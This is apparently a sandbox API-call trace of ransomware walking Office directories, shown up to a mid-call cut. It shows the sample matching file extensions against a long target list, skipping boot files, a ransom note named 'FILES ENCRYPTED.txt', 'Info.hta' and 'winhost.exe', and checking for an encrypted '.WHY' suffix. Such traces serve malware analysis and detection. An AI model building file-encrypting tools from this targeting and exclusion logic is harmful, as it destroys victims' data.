[0250.582] lstrlenW (lpString=".der") returned 4 [0250.582] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0250.582] lstrlenW (lpString=".dib") returned 4 [0250.582] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0250.582] lstrlenW (lpString=".dic") returned 4 [0250.582] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0250.583] lstrlenW (lpString=".dif") returned 4 [0250.583] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0250.583] lstrlenW (lpString=".divx") returned 5 [0250.583] lstrcmpiW (lpString1=".divx", lpString2="w.jpg") returned -1 [0250.583] lstrlenW (lpString=".djvu") returned 5 [0250.583] lstrcmpiW (lpString1=".djvu", lpString2="w.jpg") returned -1 [0250.583] lstrlenW (lpString=".dng") returned 4 [0250.583] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0250.583] lstrlenW (lpString=".doc") returned 4 [0250.583] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0250.583] lstrlenW (lpString=".docm") returned 5 [0250.583] lstrcmpiW (lpString1=".docm", lpString2="w.jpg") returned -1 [0250.583] lstrlenW (lpString=".docx") returned 5 [0250.584] lstrcmpiW (lpString1=".docx", lpString2="w.jpg") returned -1 [0250.584] lstrlenW (lpString=".dot") returned 4 [0250.584] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0250.584] lstrlenW (lpString=".dotm") returned 5 [0250.584] lstrcmpiW (lpString1=".dotm", lpString2="w.jpg") returned -1 [0250.584] lstrlenW (lpString=".dotx") returned 5 [0250.584] lstrcmpiW (lpString1=".dotx", lpString2="w.jpg") returned -1 [0250.584] lstrlenW (lpString=".dpx") returned 4 [0250.584] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0250.584] lstrlenW (lpString=".dqy") returned 4 [0250.584] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0250.584] lstrlenW (lpString=".dsn") returned 4 [0250.584] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0250.585] lstrlenW (lpString=".dt") returned 3 [0250.585] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0250.585] lstrlenW (lpString=".dtd") returned 4 [0250.585] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0250.585] lstrlenW (lpString=".dwg") returned 4 [0250.585] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0250.585] lstrlenW (lpString=".dwt") returned 4 [0250.585] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0250.585] lstrlenW (lpString=".dx") returned 3 [0250.585] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0250.585] lstrlenW (lpString=".dxf") returned 4 [0250.585] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0250.585] lstrlenW (lpString=".edml") returned 5 [0250.586] lstrcmpiW (lpString1=".edml", lpString2="w.jpg") returned -1 [0250.586] lstrlenW (lpString=".efd") returned 4 [0250.586] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0250.586] lstrlenW (lpString=".elf") returned 4 [0250.586] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0250.586] lstrlenW (lpString=".emf") returned 4 [0250.586] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0250.586] lstrlenW (lpString=".emz") returned 4 [0250.586] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0250.586] lstrlenW (lpString=".epf") returned 4 [0250.586] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0250.586] lstrlenW (lpString=".eps") returned 4 [0250.586] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0250.587] lstrlenW (lpString=".epsf") returned 5 [0250.587] lstrcmpiW (lpString1=".epsf", lpString2="w.jpg") returned -1 [0250.587] lstrlenW (lpString=".epsp") returned 5 [0250.587] lstrcmpiW (lpString1=".epsp", lpString2="w.jpg") returned -1 [0250.587] lstrlenW (lpString=".erf") returned 4 [0250.587] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0250.587] lstrlenW (lpString=".exr") returned 4 [0250.587] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0250.587] lstrlenW (lpString=".f4v") returned 4 [0250.587] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0250.587] lstrlenW (lpString=".fido") returned 5 [0250.587] lstrcmpiW (lpString1=".fido", lpString2="w.jpg") returned -1 [0250.587] lstrlenW (lpString=".flm") returned 4 [0250.588] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0250.588] lstrlenW (lpString=".flv") returned 4 [0250.588] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0250.588] lstrlenW (lpString=".frm") returned 4 [0250.588] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0250.588] lstrlenW (lpString=".fxg") returned 4 [0250.588] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0250.588] lstrlenW (lpString=".geo") returned 4 [0250.588] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0250.588] lstrlenW (lpString=".gif") returned 4 [0250.588] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0250.588] lstrlenW (lpString=".grs") returned 4 [0250.589] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0250.589] lstrlenW (lpString=".gz") returned 3 [0250.589] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0250.589] lstrlenW (lpString=".h") returned 2 [0250.589] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0250.589] lstrlenW (lpString=".hdr") returned 4 [0250.589] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0250.589] lstrlenW (lpString=".hpp") returned 4 [0250.589] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0250.589] lstrlenW (lpString=".hta") returned 4 [0250.589] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0250.589] lstrlenW (lpString=".htc") returned 4 [0250.589] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0250.590] lstrlenW (lpString=".htm") returned 4 [0250.590] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0250.590] lstrlenW (lpString=".html") returned 5 [0250.590] lstrcmpiW (lpString1=".html", lpString2="w.jpg") returned -1 [0250.590] lstrlenW (lpString=".icb") returned 4 [0250.590] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0250.590] lstrlenW (lpString=".ics") returned 4 [0250.590] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0250.590] lstrlenW (lpString=".iff") returned 4 [0250.590] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0250.590] lstrlenW (lpString=".inc") returned 4 [0250.590] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0250.590] lstrlenW (lpString=".indd") returned 5 [0250.590] lstrcmpiW (lpString1=".indd", lpString2="w.jpg") returned -1 [0250.590] lstrlenW (lpString=".ini") returned 4 [0250.590] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0250.591] lstrlenW (lpString=".iqy") returned 4 [0250.591] lstrcmpiW (lpString1=".iqy", lpString2=".jpg") returned -1 [0250.591] lstrlenW (lpString=".j2c") returned 4 [0250.591] lstrcmpiW (lpString1=".j2c", lpString2=".jpg") returned -1 [0250.591] lstrlenW (lpString=".j2k") returned 4 [0250.591] lstrcmpiW (lpString1=".j2k", lpString2=".jpg") returned -1 [0250.591] lstrlenW (lpString=".java") returned 5 [0250.591] lstrcmpiW (lpString1=".java", lpString2="w.jpg") returned -1 [0250.591] lstrlenW (lpString=".jp2") returned 4 [0250.591] lstrcmpiW (lpString1=".jp2", lpString2=".jpg") returned -1 [0250.591] lstrlenW (lpString=".jpc") returned 4 [0250.591] lstrcmpiW (lpString1=".jpc", lpString2=".jpg") returned -1 [0250.591] lstrlenW (lpString=".jpe") returned 4 [0250.591] lstrcmpiW (lpString1=".jpe", lpString2=".jpg") returned -1 [0250.592] lstrlenW (lpString=".jpeg") returned 5 [0250.592] lstrcmpiW (lpString1=".jpeg", lpString2="w.jpg") returned -1 [0250.592] lstrlenW (lpString=".jpf") returned 4 [0250.592] lstrcmpiW (lpString1=".jpf", lpString2=".jpg") returned -1 [0250.592] lstrlenW (lpString=".jpg") returned 4 [0250.592] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0250.592] lstrlenW (lpString="AddToViewArrow.jpg") returned 18 [0250.612] lstrlenW (lpString=".WHY") returned 4 [0250.612] lstrcmpiW (lpString1=".WHY", lpString2=".jpg") returned 1 [0250.612] lstrlenW (lpString="AddToViewArrow.jpg") returned 18 [0250.612] lstrcmpiW (lpString1="boot.ini", lpString2="AddToViewArrow.jpg") returned 1 [0250.612] lstrcmpiW (lpString1="bootfont.bin", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrcmpiW (lpString1="ntldr", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrcmpiW (lpString1="ntdetect.com", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrcmpiW (lpString1="io.sys", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrcmpiW (lpString1="Info.hta", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrcmpiW (lpString1="winhost.exe", lpString2="AddToViewArrow.jpg") returned 1 [0250.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg") returned 100 [0250.613] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="ADDTOV~1.BMP")) returned 1 [0250.613] lstrlenW (lpString="AddToViewArrowMask.bmp") returned 22 [0250.614] lstrlenW (lpString=".1cd") returned 4 [0250.614] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0250.614] lstrlenW (lpString=".3ds") returned 4 [0250.614] lstrcmpiW (lpString1=".3ds", lpString2=".bmp") returned -1 [0250.614] lstrlenW (lpString=".3fr") returned 4 [0250.614] lstrcmpiW (lpString1=".3fr", lpString2=".bmp") returned -1 [0250.614] lstrlenW (lpString=".3g2") returned 4 [0250.614] lstrcmpiW (lpString1=".3g2", lpString2=".bmp") returned -1 [0250.614] lstrlenW (lpString=".3gp") returned 4 [0250.614] lstrcmpiW (lpString1=".3gp", lpString2=".bmp") returned -1 [0250.614] lstrlenW (lpString=".7z") returned 3 [0250.614] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0250.615] lstrlenW (lpString=".accda") returned 6 [0250.615] lstrcmpiW (lpString1=".accda", lpString2="sk.bmp") returned -1 [0250.615] lstrlenW (lpString=".accdb") returned 6 [0250.615] lstrcmpiW (lpString1=".accdb", lpString2="sk.bmp") returned -1 [0250.615] lstrlenW (lpString=".accdc") returned 6 [0250.615] lstrcmpiW (lpString1=".accdc", lpString2="sk.bmp") returned -1 [0250.615] lstrlenW (lpString=".accde") returned 6 [0250.615] lstrcmpiW (lpString1=".accde", lpString2="sk.bmp") returned -1 [0250.615] lstrlenW (lpString=".accdt") returned 6 [0250.615] lstrcmpiW (lpString1=".accdt", lpString2="sk.bmp") returned -1 [0250.615] lstrlenW (lpString=".accdw") returned 6 [0250.615] lstrcmpiW (lpString1=".accdw", lpString2="sk.bmp") returned -1 [0250.616] lstrlenW (lpString=".adb") returned 4 [0250.616] lstrcmpiW (lpString1=".adb", lpString2=".bmp") returned -1 [0250.616] lstrlenW (lpString=".adp") returned 4 [0250.616] lstrcmpiW (lpString1=".adp", lpString2=".bmp") returned -1 [0250.616] lstrlenW (lpString=".ai") returned 3 [0250.616] lstrcmpiW (lpString1=".ai", lpString2="bmp") returned -1 [0250.616] lstrlenW (lpString=".ai3") returned 4 [0250.616] lstrcmpiW (lpString1=".ai3", lpString2=".bmp") returned -1 [0250.616] lstrlenW (lpString=".ai4") returned 4 [0250.616] lstrcmpiW (lpString1=".ai4", lpString2=".bmp") returned -1 [0250.616] lstrlenW (lpString=".ai5") returned 4 [0250.616] lstrcmpiW (lpString1=".ai5", lpString2=".bmp") returned -1 [0250.616] lstrlenW (lpString=".ai6") returned 4 [0250.616] lstrcmpiW (lpString1=".ai6", lpString2=".bmp") returned -1 [0250.616] lstrlenW (lpString=".ai7") returned 4 [0250.617] lstrcmpiW (lpString1=".ai7", lpString2=".bmp") returned -1 [0250.617] lstrlenW (lpString=".ai8") returned 4 [0250.617] lstrcmpiW (lpString1=".ai8", lpString2=".bmp") returned -1 [0250.617] lstrlenW (lpString=".anim") returned 5 [0250.617] lstrcmpiW (lpString1=".anim", lpString2="k.bmp") returned -1 [0250.617] lstrlenW (lpString=".arw") returned 4 [0250.617] lstrcmpiW (lpString1=".arw", lpString2=".bmp") returned -1 [0250.617] lstrlenW (lpString=".as") returned 3 [0250.617] lstrcmpiW (lpString1=".as", lpString2="bmp") returned -1 [0250.617] lstrlenW (lpString=".asa") returned 4 [0250.617] lstrcmpiW (lpString1=".asa", lpString2=".bmp") returned -1 [0250.617] lstrlenW (lpString=".asc") returned 4 [0250.617] lstrcmpiW (lpString1=".asc", lpString2=".bmp") returned -1 [0250.617] lstrlenW (lpString=".ascx") returned 5 [0250.617] lstrcmpiW (lpString1=".ascx", lpString2="k.bmp") returned -1 [0250.617] lstrlenW (lpString=".asm") returned 4 [0250.618] lstrcmpiW (lpString1=".asm", lpString2=".bmp") returned -1 [0250.618] lstrlenW (lpString=".asmx") returned 5 [0250.618] lstrcmpiW (lpString1=".asmx", lpString2="k.bmp") returned -1 [0250.618] lstrlenW (lpString=".asp") returned 4 [0250.618] lstrcmpiW (lpString1=".asp", lpString2=".bmp") returned -1 [0250.618] lstrlenW (lpString=".aspx") returned 5 [0250.618] lstrcmpiW (lpString1=".aspx", lpString2="k.bmp") returned -1 [0250.618] lstrlenW (lpString=".asr") returned 4 [0250.618] lstrcmpiW (lpString1=".asr", lpString2=".bmp") returned -1 [0250.618] lstrlenW (lpString=".asx") returned 4 [0250.618] lstrcmpiW (lpString1=".asx", lpString2=".bmp") returned -1 [0250.618] lstrlenW (lpString=".avi") returned 4 [0250.618] lstrcmpiW (lpString1=".avi", lpString2=".bmp") returned -1 [0250.618] lstrlenW (lpString=".avs") returned 4 [0250.619] lstrcmpiW (lpString1=".avs", lpString2=".bmp") returned -1 [0250.619] lstrlenW (lpString=".backup") returned 7 [0250.619] lstrcmpiW (lpString1=".backup", lpString2="ask.bmp") returned -1 [0250.619] lstrlenW (lpString=".bak") returned 4 [0250.619] lstrcmpiW (lpString1=".bak", lpString2=".bmp") returned -1 [0250.619] lstrlenW (lpString=".bay") returned 4 [0250.619] lstrcmpiW (lpString1=".bay", lpString2=".bmp") returned -1 [0250.619] lstrlenW (lpString=".bd") returned 3 [0250.619] lstrcmpiW (lpString1=".bd", lpString2="bmp") returned -1 [0250.619] lstrlenW (lpString=".bin") returned 4 [0250.619] lstrcmpiW (lpString1=".bin", lpString2=".bmp") returned -1 [0250.619] lstrlenW (lpString=".bmp") returned 4 [0250.619] lstrcmpiW (lpString1=".bmp", lpString2=".bmp") returned 0 [0250.619] lstrlenW (lpString="AddToViewArrowMask.bmp") returned 22 [0250.620] lstrlenW (lpString=".WHY") returned 4 [0250.620] lstrcmpiW (lpString1=".WHY", lpString2=".bmp") returned 1 [0250.620] lstrlenW (lpString="AddToViewArrowMask.bmp") returned 22 [0250.620] lstrcmpiW (lpString1="boot.ini", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="bootfont.bin", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="ntldr", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="ntdetect.com", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="io.sys", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="Info.hta", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrcmpiW (lpString1="winhost.exe", lpString2="AddToViewArrowMask.bmp") returned 1 [0250.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp") returned 104 [0250.958] FindNextFileW (in: hFindFile=0x624580, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0250.959] lstrlenW (lpString="attention.gif") returned 13 [0250.959] lstrlenW (lpString=".1cd") returned 4 [0250.959] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0250.959] lstrlenW (lpString=".3ds") returned 4 [0250.959] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0250.959] lstrlenW (lpString=".3fr") returned 4 [0250.959] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0250.959] lstrlenW (lpString=".3g2") returned 4 [0250.959] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0250.959] lstrlenW (lpString=".3gp") returned 4 [0250.959] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0250.959] lstrlenW (lpString=".7z") returned 3 [0250.960] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0250.960] lstrlenW (lpString=".accda") returned 6 [0250.960] lstrcmpiW (lpString1=".accda", lpString2="on.gif") returned -1 [0250.960] lstrlenW (lpString=".accdb") returned 6 [0250.960] lstrcmpiW (lpString1=".accdb", lpString2="on.gif") returned -1 [0250.960] lstrlenW (lpString=".accdc") returned 6 [0250.960] lstrcmpiW (lpString1=".accdc", lpString2="on.gif") returned -1 [0250.960] lstrlenW (lpString=".accde") returned 6 [0250.960] lstrcmpiW (lpString1=".accde", lpString2="on.gif") returned -1 [0250.960] lstrlenW (lpString=".accdt") returned 6 [0250.960] lstrcmpiW (lpString1=".accdt", lpString2="on.gif") returned -1 [0250.960] lstrlenW (lpString=".accdw") returned 6 [0250.960] lstrcmpiW (lpString1=".accdw", lpString2="on.gif") returned -1 [0250.960] lstrlenW (lpString=".adb") returned 4 [0250.960] lstrcmpiW (lpString1=".adb", lpString2=".gif") returned -1 [0250.960] lstrlenW (lpString=".adp") returned 4 [0250.961] lstrcmpiW (lpString1=".adp", lpString2=".gif") returned -1 [0250.961] lstrlenW (lpString=".ai") returned 3 [0250.961] lstrcmpiW (lpString1=".ai", lpString2="gif") returned -1 [0250.961] lstrlenW (lpString=".ai3") returned 4 [0250.961] lstrcmpiW (lpString1=".ai3", lpString2=".gif") returned -1 [0250.961] lstrlenW (lpString=".ai4") returned 4 [0250.961] lstrcmpiW (lpString1=".ai4", lpString2=".gif") returned -1 [0250.961] lstrlenW (lpString=".ai5") returned 4 [0250.961] lstrcmpiW (lpString1=".ai5", lpString2=".gif") returned -1 [0250.961] lstrlenW (lpString=".ai6") returned 4 [0250.961] lstrcmpiW (lpString1=".ai6", lpString2=".gif") returned -1 [0250.961] lstrlenW (lpString=".ai7") returned 4 [0250.961] lstrcmpiW (lpString1=".ai7", lpString2=".gif") returned -1 [0250.961] lstrlenW (lpString=".ai8") returned 4 [0250.961] lstrcmpiW (lpString1=".ai8", lpString2=".gif") returned -1 [0250.962] lstrlenW (lpString=".anim") returned 5 [0250.962] lstrcmpiW (lpString1=".anim", lpString2="n.gif") returned -1 [0250.962] lstrlenW (lpString=".arw") returned 4 [0250.962] lstrcmpiW (lpString1=".arw", lpString2=".gif") returned -1 [0250.962] lstrlenW (lpString=".as") returned 3 [0250.962] lstrcmpiW (lpString1=".as", lpString2="gif") returned -1 [0250.962] lstrlenW (lpString=".asa") returned 4 [0250.962] lstrcmpiW (lpString1=".asa", lpString2=".gif") returned -1 [0250.962] lstrlenW (lpString=".asc") returned 4 [0250.962] lstrcmpiW (lpString1=".asc", lpString2=".gif") returned -1 [0250.962] lstrlenW (lpString=".ascx") returned 5 [0250.962] lstrcmpiW (lpString1=".ascx", lpString2="n.gif") returned -1 [0250.962] lstrlenW (lpString=".asm") returned 4 [0250.962] lstrcmpiW (lpString1=".asm", lpString2=".gif") returned -1 [0250.963] lstrlenW (lpString=".asmx") returned 5 [0250.963] lstrcmpiW (lpString1=".asmx", lpString2="n.gif") returned -1 [0250.963] lstrlenW (lpString=".asp") returned 4 [0250.963] lstrcmpiW (lpString1=".asp", lpString2=".gif") returned -1 [0250.963] lstrlenW (lpString=".aspx") returned 5 [0250.963] lstrcmpiW (lpString1=".aspx", lpString2="n.gif") returned -1 [0250.963] lstrlenW (lpString=".asr") returned 4 [0250.963] lstrcmpiW (lpString1=".asr", lpString2=".gif") returned -1 [0250.963] lstrlenW (lpString=".asx") returned 4 [0250.963] lstrcmpiW (lpString1=".asx", lpString2=".gif") returned -1 [0250.963] lstrlenW (lpString=".avi") returned 4 [0250.963] lstrcmpiW (lpString1=".avi", lpString2=".gif") returned -1 [0250.963] lstrlenW (lpString=".avs") returned 4 [0250.964] lstrcmpiW (lpString1=".avs", lpString2=".gif") returned -1 [0250.964] lstrlenW (lpString=".backup") returned 7 [0250.964] lstrcmpiW (lpString1=".backup", lpString2="ion.gif") returned -1 [0250.964] lstrlenW (lpString=".bak") returned 4 [0250.964] lstrcmpiW (lpString1=".bak", lpString2=".gif") returned -1 [0250.964] lstrlenW (lpString=".bay") returned 4 [0250.964] lstrcmpiW (lpString1=".bay", lpString2=".gif") returned -1 [0250.964] lstrlenW (lpString=".bd") returned 3 [0250.964] lstrcmpiW (lpString1=".bd", lpString2="gif") returned -1 [0250.964] lstrlenW (lpString=".bin") returned 4 [0250.964] lstrcmpiW (lpString1=".bin", lpString2=".gif") returned -1 [0250.964] lstrlenW (lpString=".bmp") returned 4 [0250.964] lstrcmpiW (lpString1=".bmp", lpString2=".gif") returned -1 [0250.965] lstrlenW (lpString=".bz2") returned 4 [0250.965] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0250.965] lstrlenW (lpString=".c") returned 2 [0250.965] lstrcmpiW (lpString1=".c", lpString2="if") returned -1 [0250.965] lstrlenW (lpString=".cdr") returned 4 [0250.965] lstrcmpiW (lpString1=".cdr", lpString2=".gif") returned -1 [0250.965] lstrlenW (lpString=".cer") returned 4 [0250.965] lstrcmpiW (lpString1=".cer", lpString2=".gif") returned -1 [0250.965] lstrlenW (lpString=".cf") returned 3 [0250.965] lstrcmpiW (lpString1=".cf", lpString2="gif") returned -1 [0250.965] lstrlenW (lpString=".cfc") returned 4 [0250.965] lstrcmpiW (lpString1=".cfc", lpString2=".gif") returned -1 [0250.965] lstrlenW (lpString=".cfm") returned 4 [0250.966] lstrcmpiW (lpString1=".cfm", lpString2=".gif") returned -1 [0250.966] lstrlenW (lpString=".cfml") returned 5 [0250.966] lstrcmpiW (lpString1=".cfml", lpString2="n.gif") returned -1 [0250.966] lstrlenW (lpString=".cfu") returned 4 [0250.966] lstrcmpiW (lpString1=".cfu", lpString2=".gif") returned -1 [0250.966] lstrlenW (lpString=".chm") returned 4 [0250.966] lstrcmpiW (lpString1=".chm", lpString2=".gif") returned -1 [0250.966] lstrlenW (lpString=".cin") returned 4 [0250.966] lstrcmpiW (lpString1=".cin", lpString2=".gif") returned -1 [0250.966] lstrlenW (lpString=".class") returned 6 [0250.967] lstrcmpiW (lpString1=".class", lpString2="on.gif") returned -1 [0250.967] lstrlenW (lpString=".clx") returned 4 [0250.967] lstrcmpiW (lpString1=".clx", lpString2=".gif") returned -1 [0250.968] lstrlenW (lpString=".config") returned 7 [0250.968] lstrcmpiW (lpString1=".config", lpString2="ion.gif") returned -1 [0250.968] lstrlenW (lpString=".cpp") returned 4 [0250.968] lstrcmpiW (lpString1=".cpp", lpString2=".gif") returned -1 [0250.968] lstrlenW (lpString=".cr2") returned 4 [0250.968] lstrcmpiW (lpString1=".cr2", lpString2=".gif") returned -1 [0250.968] lstrlenW (lpString=".crt") returned 4 [0250.968] lstrcmpiW (lpString1=".crt", lpString2=".gif") returned -1 [0250.968] lstrlenW (lpString=".crw") returned 4 [0250.968] lstrcmpiW (lpString1=".crw", lpString2=".gif") returned -1 [0250.968] lstrlenW (lpString=".cs") returned 3 [0250.968] lstrcmpiW (lpString1=".cs", lpString2="gif") returned -1 [0250.969] lstrlenW (lpString=".css") returned 4 [0250.969] lstrcmpiW (lpString1=".css", lpString2=".gif") returned -1 [0250.969] lstrlenW (lpString=".csv") returned 4 [0250.969] lstrcmpiW (lpString1=".csv", lpString2=".gif") returned -1 [0250.969] lstrlenW (lpString=".cub") returned 4 [0250.969] lstrcmpiW (lpString1=".cub", lpString2=".gif") returned -1 [0250.969] lstrlenW (lpString=".dae") returned 4 [0250.969] lstrcmpiW (lpString1=".dae", lpString2=".gif") returned -1 [0250.969] lstrlenW (lpString=".dat") returned 4 [0250.969] lstrcmpiW (lpString1=".dat", lpString2=".gif") returned -1 [0250.969] lstrlenW (lpString=".db") returned 3 [0250.969] lstrcmpiW (lpString1=".db", lpString2="gif") returned -1 [0250.969] lstrlenW (lpString=".dbf") returned 4 [0250.970] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0250.970] lstrlenW (lpString=".dbx") returned 4 [0250.970] lstrcmpiW (lpString1=".dbx", lpString2=".gif") returned -1 [0250.970] lstrlenW (lpString=".dc3") returned 4 [0250.970] lstrcmpiW (lpString1=".dc3", lpString2=".gif") returned -1 [0250.970] lstrlenW (lpString=".dcm") returned 4 [0250.970] lstrcmpiW (lpString1=".dcm", lpString2=".gif") returned -1 [0250.970] lstrlenW (lpString=".dcr") returned 4 [0250.970] lstrcmpiW (lpString1=".dcr", lpString2=".gif") returned -1 [0250.970] lstrlenW (lpString=".der") returned 4 [0250.970] lstrcmpiW (lpString1=".der", lpString2=".gif") returned -1 [0250.970] lstrlenW (lpString=".dib") returned 4 [0250.971] lstrcmpiW (lpString1=".dib", lpString2=".gif") returned -1 [0250.971] lstrlenW (lpString=".dic") returned 4 [0250.971] lstrcmpiW (lpString1=".dic", lpString2=".gif") returned -1 [0250.971] lstrlenW (lpString=".dif") returned 4 [0250.971] lstrcmpiW (lpString1=".dif", lpString2=".gif") returned -1 [0250.971] lstrlenW (lpString=".divx") returned 5 [0250.971] lstrcmpiW (lpString1=".divx", lpString2="n.gif") returned -1 [0250.971] lstrlenW (lpString=".djvu") returned 5 [0250.971] lstrcmpiW (lpString1=".djvu", lpString2="n.gif") returned -1 [0250.971] lstrlenW (lpString=".dng") returned 4 [0250.971] lstrcmpiW (lpString1=".dng", lpString2=".gif") returned -1 [0250.971] lstrlenW (lpString=".doc") returned 4 [0250.971] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0250.971] lstrlenW (lpString=".docm") returned 5 [0250.972] lstrcmpiW (lpString1=".docm", lpString2="n.gif") returned -1 [0250.972] lstrlenW (lpString=".docx") returned 5 [0250.972] lstrcmpiW (lpString1=".docx", lpString2="n.gif") returned -1 [0250.972] lstrlenW (lpString=".dot") returned 4 [0250.972] lstrcmpiW (lpString1=".dot", lpString2=".gif") returned -1 [0250.972] lstrlenW (lpString=".dotm") returned 5 [0250.972] lstrcmpiW (lpString1=".dotm", lpString2="n.gif") returned -1 [0250.972] lstrlenW (lpString=".dotx") returned 5 [0250.972] lstrcmpiW (lpString1=".dotx", lpString2="n.gif") returned -1 [0250.972] lstrlenW (lpString=".dpx") returned 4 [0250.972] lstrcmpiW (lpString1=".dpx", lpString2=".gif") returned -1 [0250.972] lstrlenW (lpString=".dqy") returned 4 [0250.972] lstrcmpiW (lpString1=".dqy", lpString2=".gif") returned -1 [0250.973] lstrlenW (lpString=".dsn") returned 4 [0250.973] lstrcmpiW (lpString1=".dsn", lpString2=".gif") returned -1 [0250.973] lstrlenW (lpString=".dt") returned 3 [0250.973] lstrcmpiW (lpString1=".dt", lpString2="gif") returned -1 [0250.973] lstrlenW (lpString=".dtd") returned 4 [0250.973] lstrcmpiW (lpString1=".dtd", lpString2=".gif") returned -1 [0250.973] lstrlenW (lpString=".dwg") returned 4 [0250.973] lstrcmpiW (lpString1=".dwg", lpString2=".gif") returned -1 [0250.973] lstrlenW (lpString=".dwt") returned 4 [0250.973] lstrcmpiW (lpString1=".dwt", lpString2=".gif") returned -1 [0250.973] lstrlenW (lpString=".dx") returned 3 [0250.973] lstrcmpiW 